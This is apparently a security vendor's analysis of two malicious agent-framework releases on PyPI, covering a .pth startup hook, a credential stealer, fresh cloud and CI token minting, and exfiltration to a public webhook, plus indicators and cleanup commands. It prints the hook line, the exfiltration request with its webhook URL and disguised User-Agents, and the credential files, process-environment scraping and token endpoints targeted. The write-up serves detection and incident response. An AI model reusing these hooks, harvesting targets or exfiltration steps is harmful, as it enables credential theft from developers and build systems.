Executive Summary
On November 17, 2026, an attacker published two malicious versions of Microsoft’s official agent-framework Python package to PyPI: 1.26.1 and 1.26.2. Agent Framework is Microsoft’s SDK for building AI agents, and PexLens registry data shows the package drawing 41,389 downloads a week before the takedown.
Both releases kept the legitimate framework working but added a credential stealer that ran whenever Python started in an affected environment. The application never had to import Agent Framework. The trigger was a .pth file placed in site-packages, a Python startup mechanism that executes any line beginning with import during interpreter initialization.
The stealer collected environment variables, credential files and the environments of other running processes. It then requested fresh identity tokens from Azure managed identity, Azure DevOps and, in 1.26.2, GitHub Actions. It compressed and Base64-encoded the results and sent them in a single HTTPS POST to a webhook.site endpoint. PyPI quarantined 1.26.1 after about 31 minutes and 1.26.2 after about 8 minutes, but in that window any automated build or developer machine resolving the latest version could have installed it.
This post breaks down the attack chain, the two payload variants, what the attacker collected and how PexLens analyzes a release like this before it reaches a developer workstation or CI runner. Indicators of compromise are listed at the end.
Key findings
- Trusted-package publishing compromise, not typosquatting. The attacker uploaded under Microsoft’s real package name. Wiz attributes the upload to a likely stolen client certificate and private key for Microsoft’s Engineering System Release Pipeline (ESRP).
- Execution on every Python start. A
.pthhook (MITRE ATT&CK T1546.018) ran the stealer in terminals, IDE language servers, test runners,pipitself, CI jobs and containers. - Payload moved to evade detection. 1.26.2 restored the edited initializer from 1.26.1 to its clean state and moved the payload to new top-level files, defeating checks that looked only for the first variant.
- Fresh token theft. Beyond copying existing secrets, the stealer minted new Azure managed-identity, Azure DevOps OIDC and GitHub Actions OIDC tokens. These tokens can remain valid for up to 24 hours.
- Confirmed victim data. Of 50 requests captured by the attacker’s webhook, Wiz attributes 17 to three unique, successful exfiltrations of victim data.
Background: Microsoft Agent Framework
Microsoft Agent Framework is an open-source SDK for building and orchestrating AI agents in Python and .NET. The agent-framework package on PyPI is a meta-package that installs the framework’s core and optional components, so it sits in developer environments, CI pipelines and production services that build AI agents on Azure. Those environments typically hold exactly what an attacker wants: cloud identities, CI tokens, model-provider API keys and package-registry credentials.
That position makes AI-agent SDKs a high-value supply-chain target. A single trusted package can reach thousands of build systems within minutes of a release, and automated dependency updates install it without a human ever reading the change.
Attack overview
The attack followed six stages, from a compromised publishing credential to exfiltration of credentials from every environment that installed a malicious version.

Timeline
The legitimate 1.26.0 release was published on November 12 as a wheel and a source distribution, alongside agent-framework-core 1.26.0. Five days later, the malicious releases appeared in quick succession. PexLens registry monitoring recorded each upload and quarantine as it happened.

| Time (UTC) | Event |
|---|---|
| Nov 12, 18:25 | Legitimate agent-framework 1.26.0 published (wheel and sdist) |
| Nov 17, 20:35:20 | Malicious 1.26.1 uploaded (wheel only) |
| Nov 17, 21:06:16 | PyPI quarantines 1.26.1 |
| Nov 17, 21:08:39 | Malicious 1.26.2 uploaded (wheel only) |
| Nov 17, 21:16:44 | PyPI quarantines 1.26.2 |
| Nov 17, ~21:30 | Neither version available for normal installation |
PexLens discovery: the attacker kept publishing access
Version 1.26.2 was uploaded just 2 minutes and 23 seconds after PyPI quarantined 1.26.1. The takedown removed a release, not the attacker. Any defense that waits for a registry quarantine, or for a single version to be blocklisted, would have faced a second payload within minutes.
Initial access: compromised publishing credentials
Several signals showed the releases did not come from Microsoft’s normal release process. There was no matching release tag in the microsoft/agent-framework repository, the main branch did not contain the malicious code, and both releases were wheel-only, while legitimate releases ship a wheel and an sdist together with a matching agent-framework-core version. The malicious wheels still pinned agent-framework-core[all]==1.26.0, so the framework kept working normally after installation.
Wiz’s root-cause analysis concludes the attacker likely compromised a client certificate and private key for Microsoft ESRP, the pipeline Microsoft uses to sign and publish the package. The first publish attempt, made from AWS infrastructure, was rejected by ESRP’s IP filtering; a later attempt from Microsoft-owned IP space succeeded. How the credentials were obtained has not been disclosed.
The attacker’s tooling identified itself as Cairn, an open-source AI penetration-testing framework. It staged the package in /tmp/cairn_pkg and sent a CAIRN_ESRP_PROBE2 connectivity probe. The attacker also ran the stealer on their own machine before publishing, which is how several of the captured webhook requests trace back to them. An earlier, separate compromise of Microsoft’s durabletask package, after its PyPI token was stolen, is not known to be linked to this incident.
Technical analysis
Execution through a Python startup hook
Installing either malicious wheel placed a .pth file in the root of site-packages. Python reads every .pth file at interpreter startup. Lines that contain paths extend sys.path, but any line that begins with import is executed as code. MITRE ATT&CK tracks this persistence method as T1546.018, Python Startup Hooks.
The 1.26.1 hook was a 28-byte file with a single line:
# agent_framework_meta.pth (1.26.1)
import agent_framework_metaBecause the hook fires during interpreter startup, the stealer ran in any Python process launched in the affected environment: a developer terminal, an IDE language server, a test runner, a linter, pip itself, a CI job, a container build or a production workload. Runtime monitoring that only starts when an application imports a package arrives too late.
PexLens discovery: a startup hook the package never needed
No previous agent-framework release shipped a .pth file. PexLens static analysis separates a benign .pth path entry from an executable import line, and flags a package that adds interpreter-start execution without needing it for normal functionality. In 1.26.1, that hook led straight to code that detached into its own session and suppressed every exception.
Two variants, one endpoint
The two releases used different files to reach the same stealer.

Version 1.26.1. The hook imported agent_framework_meta, whose __init__.py had eight appended lines that called _telemetry._start() inside a silent try/except. The collector described itself as a “lightweight runtime diagnostics hook”, naming meant to look like legitimate SDK telemetry. On Unix it forked and detached with os.setsid(); where fork() was unavailable, it fell back to a daemon thread. It set _AF_TEL=1 as a run-once guard so child processes would not repeat the collection.
Version 1.26.2. Uploaded 33 minutes after the first release, it restored agent_framework_meta/__init__.py byte-for-byte to the clean 1.26.0 file. The trigger moved to a new top-level hook, af_runtime_diag.pth, which imports af_runtime_diag.py; that module runs the stealer as soon as it is imported. The exfiltration endpoint stayed the same, while collection expanded to GitHub Actions. Teams hunting only for the 1.26.1 file names, or diffing only the package initializer, would miss this variant.
PexLens discovery: the payload moved, it did not disappear
Diffing 1.26.2 against the trusted 1.26.0 baseline shows the edited initializer restored byte-for-byte, while a new top-level .pth hook and a new top-level module appear beside the package. The exfiltration destination is unchanged and GitHub Actions OIDC collection is new. PexLens evaluates the complete artifact against the baseline, so reverting one suspicious file does not make a release look safe.
Credential collection
The stealer gathered data from four sources before sending anything.

Environment variables. The stealer matched variable names against broad, secret-like substrings rather than a fixed list, so secrets for unrelated cloud platforms, AI providers, package registries and CI systems were captured whenever their names matched. Version 1.26.2 widened the match to cover GitHub Actions runners and Azure Resource Manager variables.
Credential and configuration files. Up to 60 files in 1.26.1 and 80 in 1.26.2, each under 256 KB. Targets included Azure CLI files under ~/.azure/, pip.conf, .npmrc, .netrc, .git-credentials, Docker’s config.json, Hugging Face tokens, Azure DevOps agent .credentials files in vss-agent and _work directories, and .env and JSON files under /app and /workspace. Version 1.26.2 added GitHub-hosted runner paths: /home/runner/work/_temp/* and /home/runner/.azure/.
Other processes’ environments. On Linux, the stealer read /proc/*/environ for the first 300 processes it had permission to access, looking for values containing TOKEN, SECRET, PASSWORD, KEY=, ENDPOINT_AUTH, SYSTEM_ACCESSTOKEN and IDENTITY_HEADER; 1.26.2 added ACTIONS_ID_TOKEN. On shared build agents, Kubernetes nodes and developer machines running several services, this exposes secrets belonging to processes that never touched the package.
PexLens discovery: credential harvesting far beyond the SDK
An agent SDK has no reason to read Git, Docker, npm and Hugging Face credentials, or the environments of 300 other processes. In isolated execution, PexLens behavioral analysis records exactly these file reads and /proc access, and correlates them with the startup hook that triggered them.
Minting fresh cloud and CI tokens
The most damaging capability was not copying secrets already on disk but requesting new tokens from identity endpoints the host could reach:
- Azure managed identity. Through Azure IMDS or the App Service identity endpoint, the stealer requested tokens for 12 resources, including Azure Resource Manager, Microsoft Graph, Key Vault, Storage, Cognitive Services, Azure AI and Machine Learning, Azure AI Search, Azure Container Registry, Azure DevOps and
api://AzureADTokenExchange. It also kept up to 8,000 characters of the IMDS instance-metadata response, which can reveal subscription, resource-group and host details. - Azure DevOps OIDC. Where
SYSTEM_ACCESSTOKENandSYSTEM_OIDCREQUESTURIwere set, it requested an OIDC token forapi://AzureADTokenExchange, which can be exchanged for Azure access wherever a matching federated trust exists. - GitHub Actions OIDC (1.26.2 only). In workflows granted
id-token: write, it usedACTIONS_ID_TOKEN_REQUEST_URLandACTIONS_ID_TOKEN_REQUEST_TOKEN, or the runtime token, to request tokens forapi://AzureADTokenExchangeandhttps://management.azure.com/.
PexLens discovery: fresh tokens, not just stored secrets
Requests to Azure IMDS, the App Service identity endpoint and CI OIDC endpoints from inside a Python package are a strong signal on their own. Rotating stored secrets is not enough after this attack: any identity the host could reach may have issued a new token to the attacker.
Exfiltration
Each run serialized everything into one JSON document, compressed it with zlib, Base64-encoded it and sent it in a single HTTPS POST with Content-Type: application/octet-stream. The destination was stored as an encoded constant in both payload modules:
POST https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry
User-Agent: af-runtime-diagnostics/1 # 1.26.1
User-Agent: runtime-diagnostics/1 # 1.26.2The encoding adds no confidentiality beyond HTTPS; it exists to keep the URL out of simple string searches. Failures were silently ignored, there was no retry loop and no second-stage download. The payload’s only goal was to collect and send credentials.
PexLens discovery: a public webhook as the exfiltration sink
Decoding the constant in both payload modules reveals the same webhook.site URL. A hard-coded, encoded endpoint on a public request-inspection service, receiving compressed and Base64-encoded data under a diagnostics-style User-Agent that matches no documented SDK telemetry, links 1.26.1 and 1.26.2 to one operation.
What the attacker received
The attacker used a free-tier webhook.site URL, which accepts at most 100 requests and expires after seven days. Wiz analyzed the 50 requests the endpoint captured:
| Source | Requests |
|---|---|
| Attacker’s own machines and attack process | 4 |
| Sandbox environments, vendor scanning and tests | 29 |
| Successful exfiltration of victim data (three unique victims) | 17 |
Three confirmed victims is a small number, but each request can carry working cloud, CI/CD and registry credentials. The real exposure depends on which hosts installed a malicious version and which identities were reachable from them.
Why conventional defenses can miss it
- Allowlists trust the name.
agent-frameworkwas the legitimate package, published under Microsoft’s project. - Vulnerability scanners look for known CVEs. This was newly introduced malicious behavior with no CVE at publication time.
- Single-file reviews miss moved payloads. A check focused on the package initializer would pass 1.26.2, where that file was clean.
- Import-time monitoring is too late. The
.pthhook runs during interpreter startup, before application code imports anything. - Install-script scanners see nothing. The payload did not use install scripts; it ran on the next Python start.
How PexLens detects this at machine speed
PexLens Supplytrust treats every package request and every newly published version as a security decision. Its checks combine version-diff analysis, static inspection, behavioral analysis in a sandbox, indicator correlation and policy enforcement, so a release like agent-framework 1.26.1 or 1.26.2 is evaluated before it reaches a developer workstation or CI runner.

Figure 5 shows how PexLens recorded agent-framework 1.26.2. The release was captured at its publication time, 21:08:39 UTC on November 17, then downloaded, hashed, scanned and run in the sandbox. The result was a Malicious verdict with a unified score of 100/100, confidence marked VERIFIED and Block in CI/CD set to yes. The same record shows 41,389 weekly downloads for the package and marks the version as deleted from the registry. Because PexLens downloaded and hashed the wheel before PyPI removed it, the artifact and its hashes remained available for incident response after the takedown.

| Stage | PexLens action | Relevance to this attack |
|---|---|---|
| Package identification | Resolve the exact name, version, artifact, publisher context and dependency graph | Separates 1.26.0 from 1.26.1 and 1.26.2; flags a wheel-only release with no matching sdist or source tag |
| Version diff | Compare each release with the last trusted baseline | Surfaces the new .pth hooks and new modules, and tracks the payload when it moves in 1.26.2 |
| Static analysis | Inspect files without running them for install hooks, import-time execution and obfuscation | Flags an executable import line in a .pth file, detached background execution, suppressed exceptions and an encoded external URL |
| Behavioral analysis | Run the package in isolation and record processes, files, name lookups and network activity | Observes /proc scraping, credential-file reads, IMDS and OIDC token requests and the outbound POST |
| Indicator correlation | Match hashes, URLs, User-Agents and behavior patterns | Links both versions to the same webhook.site sink and fake diagnostics User-Agents |
| Risk score and policy | Combine finished checks into one verdict, then allow, review or block | Malicious verdict for both versions; the download is blocked and the user is alerted |
No single signal decides the verdict. A .pth file can be benign, and some SDKs read environment variables. The decisive pattern is the combination: startup persistence, broad secret discovery, fresh token minting and exfiltration to a public request-inspection service. PexLens also assigns trust to a specific artifact, version and behavioral profile, not to a package name, so a familiar publisher does not exempt a release from analysis.
With PexLens Pulse deployed, package-manager requests from developers, CI jobs and AI coding agents route through the PexLens repository. An allowed version downloads normally; a blocked version is not downloaded, and the person or pipeline running the command receives an alert. When the malicious window is measured in minutes, that automated decision is what keeps the wheel out of the environment.
Recommendations and incident response
If either agent-framework 1.26.1 or 1.26.2 was installed, assume the environment and every credential reachable from it are compromised.
- Find exposure. Search lockfiles, requirements files, CI logs, virtual environments and container images for agent-framework 1.26.1 or 1.26.2.
- Check hosts without starting Python. Running Python or
pipin an affected environment triggers the stealer again. Use file-system searches instead (see below). - Isolate and rebuild. Stop affected CI jobs, isolate hosts and rebuild from a known-clean base image. Do not simply upgrade past the malicious version; files from 1.26.1 can remain behind.
- Pin to the clean release. Reinstall
agent-framework==1.26.0, ideally with hash pinning. - Rotate credentials. Rotate every secret reachable from affected hosts: environment secrets, Azure CLI sessions, Azure DevOps PATs and service connections, npm, PyPI, NuGet, Docker and Hugging Face tokens, and Git credentials.
- Audit Azure identities. Review sign-in and activity logs for managed identities and federated credentials reachable from affected VMs, App Services, AKS nodes and Azure DevOps pipelines.
- Audit GitHub Actions (1.26.2). For workflows with
id-token: writethat installed 1.26.2, review Entra ID federated credentials and matching app-registration sign-ins, and rotate exposed repository and organization secrets. - Check egress. Search proxy, DNS and firewall logs for the webhook.site path and the User-Agent strings below. A 200 response means data was accepted; 410 or 429 suggests it was rejected.
The following commands look for the malicious files, installed versions, downloaded wheels and dependency pins without starting a Python interpreter. Run them on developer machines, build agents and container images:
# 1. Malicious startup hooks and payload modules in any Python environment
find / \( -name "agent_framework_meta.pth" -o -name "af_runtime_diag.pth" \
-o -name "af_runtime_diag.py" -o -path "*agent_framework_meta/_telemetry.py" \) 2>/dev/null
# 2. Installed metadata and downloaded wheels for the malicious versions
find / \( -type d -name "agent_framework-1.26.[12].dist-info" \
-o -type f -name "agent_framework-1.26.[12]-*.whl" \) 2>/dev/null
# 3. Pins in requirements and pyproject files (run from the repository root)
grep -rEin "agent[-_.]framework[[:space:]]*==[[:space:]]*1\.26\.[12]([^0-9]|$)" \
--include="*.txt" --include="*.in" --include="*.toml" . 2>/dev/null
# 4. Resolved versions in uv, Poetry, PDM and Pipenv lockfiles
grep -rEn -A2 '^name = "agent[-_.]framework"$' \
--include="uv.lock" --include="poetry.lock" --include="pdm.lock" . 2>/dev/null \
| grep -E 'version = "1\.26\.[12]"'
grep -rEon '"agent[-_.]framework": *\{[^}]*"version": *"==1\.26\.[12]"' \
--include="Pipfile.lock" . 2>/dev/nullFor the longer term, pin exact versions and verify artifact hashes, run CI on isolated, ephemeral runners with least-privilege identities, prefer short-lived and narrowly scoped credentials, restrict OIDC trust policies to specific repositories, workflows and audiences, and evaluate every new release before installation rather than waiting for a CVE.
Conclusion
The agent-framework compromise shows how quickly a trusted AI-agent SDK can become a credential-harvesting tool. The attacker kept the real package name and working framework code, executed on every Python start through a startup hook, minted fresh cloud and CI tokens and sent them out within minutes. When the second release moved the payload to new files, defenses keyed to the first variant stopped matching.
Defending against this class of attack requires analysis that happens before installation and keeps pace with the registry: comparing each release with a trusted baseline, inspecting what the files do, observing behavior in isolation and enforcing policy automatically. That is the gap PexLens is built to close for developers, CI pipelines and the AI agents that now install software on their behalf.
MITRE ATT&CK mapping
| Tactic | Technique | Observed behavior |
|---|---|---|
| Initial Access | T1195.002 Supply Chain Compromise: Compromise Software Supply Chain | Malicious wheels published under the legitimate agent-framework package |
| Execution | T1059.006 Command and Scripting Interpreter: Python | Stealer implemented in Python and run by the interpreter |
| Persistence | T1546.018 Event Triggered Execution: Python Startup Hooks | agent_framework_meta.pth and af_runtime_diag.pth run on every interpreter start |
| Defense Evasion | T1036 Masquerading | Telemetry and diagnostics file names, docstrings and User-Agents |
| Defense Evasion | T1027 Obfuscated Files or Information | Exfiltration URL stored as an encoded constant |
| Discovery | T1057 Process Discovery | Enumeration of up to 300 entries under /proc |
| Credential Access | T1552.001 Unsecured Credentials: Credentials In Files | Azure CLI, Git, Docker, npm, pip, Hugging Face and .env files |
| Credential Access | T1552.005 Unsecured Credentials: Cloud Instance Metadata API | Azure IMDS instance metadata and managed-identity tokens |
| Credential Access | T1528 Steal Application Access Token | Azure DevOps and GitHub Actions OIDC token requests |
| Collection | T1560.002 Archive Collected Data: Archive via Library | zlib compression of the collected JSON |
| Command and Control | T1132.001 Data Encoding: Standard Encoding | Base64 encoding of the compressed payload |
| Exfiltration | T1567.004 Exfiltration Over Web Service: Exfiltration Over Webhook | Single HTTPS POST to webhook.site |
Indicators of Compromise
Malicious packages
| Package | Version | Wheel SHA-256 |
|---|---|---|
| agent-framework (PyPI) | 1.26.1 | d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110 |
| agent-framework (PyPI) | 1.26.2 | 3d20a8bc91351a9a16b6db243b848ceca0206b7a8623b02d2af553a9c9f7e0a9 |
File hashes
| File | Version | Role | SHA-256 |
|---|---|---|---|
agent_framework_meta.pth | 1.26.1 | Startup hook | 21f28e8517a10ffe431f8d68f5875c85eca4001ae6d118322b0a41873998eb5e |
agent_framework_meta/_telemetry.py | 1.26.1 | Credential stealer | 39fa329f2a93f734b0bb8f5adb203ea3331d1ae479832a5015a54cb17aabd663 |
af_runtime_diag.pth | 1.26.2 | Startup hook | 325e7e9f0ec94e41ad1a1b7a3f18a6b8b5bffece2e2b97b8d3369eb967452f93 |
af_runtime_diag.py | 1.26.2 | Credential stealer | 54d885b7d7161c9ed96489c66364c4bfbf635929166843bba10d97d46b5a2e1f |
Network indicators
| Indicator | Type | Notes |
|---|---|---|
hxxps://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry | Exfiltration URL | Both versions |
af-runtime-diagnostics/1 | User-Agent | 1.26.1 exfiltration requests |
runtime-diagnostics/1 | User-Agent | 1.26.2 exfiltration requests |
Host indicators
| Indicator | Type | Notes |
|---|---|---|
agent_framework_meta.pth | File in site-packages | 1.26.1 startup hook |
agent_framework_meta/_telemetry.py | File in site-packages | 1.26.1 stealer module |
af_runtime_diag.pth | File in site-packages | 1.26.2 startup hook |
af_runtime_diag.py | File in site-packages | 1.26.2 stealer module |
_AF_TEL=1 | Environment variable | Run-once guard set by the stealer |
/tmp/cairn_pkg | Directory | Attacker staging path (attacker infrastructure) |
References
- Wiz, Microsoft agent-framework Compromised: Credential Stealer Targets Azure and CI Pipelines: wiz.io
- Microsoft agent-framework GitHub issue #10411: github.com
- MITRE ATT&CK, T1546.018 Event Triggered Execution: Python Startup Hooks: attack.mitre.org
- MITRE ATT&CK, T1195.002 Supply Chain Compromise: Compromise Software Supply Chain: attack.mitre.org




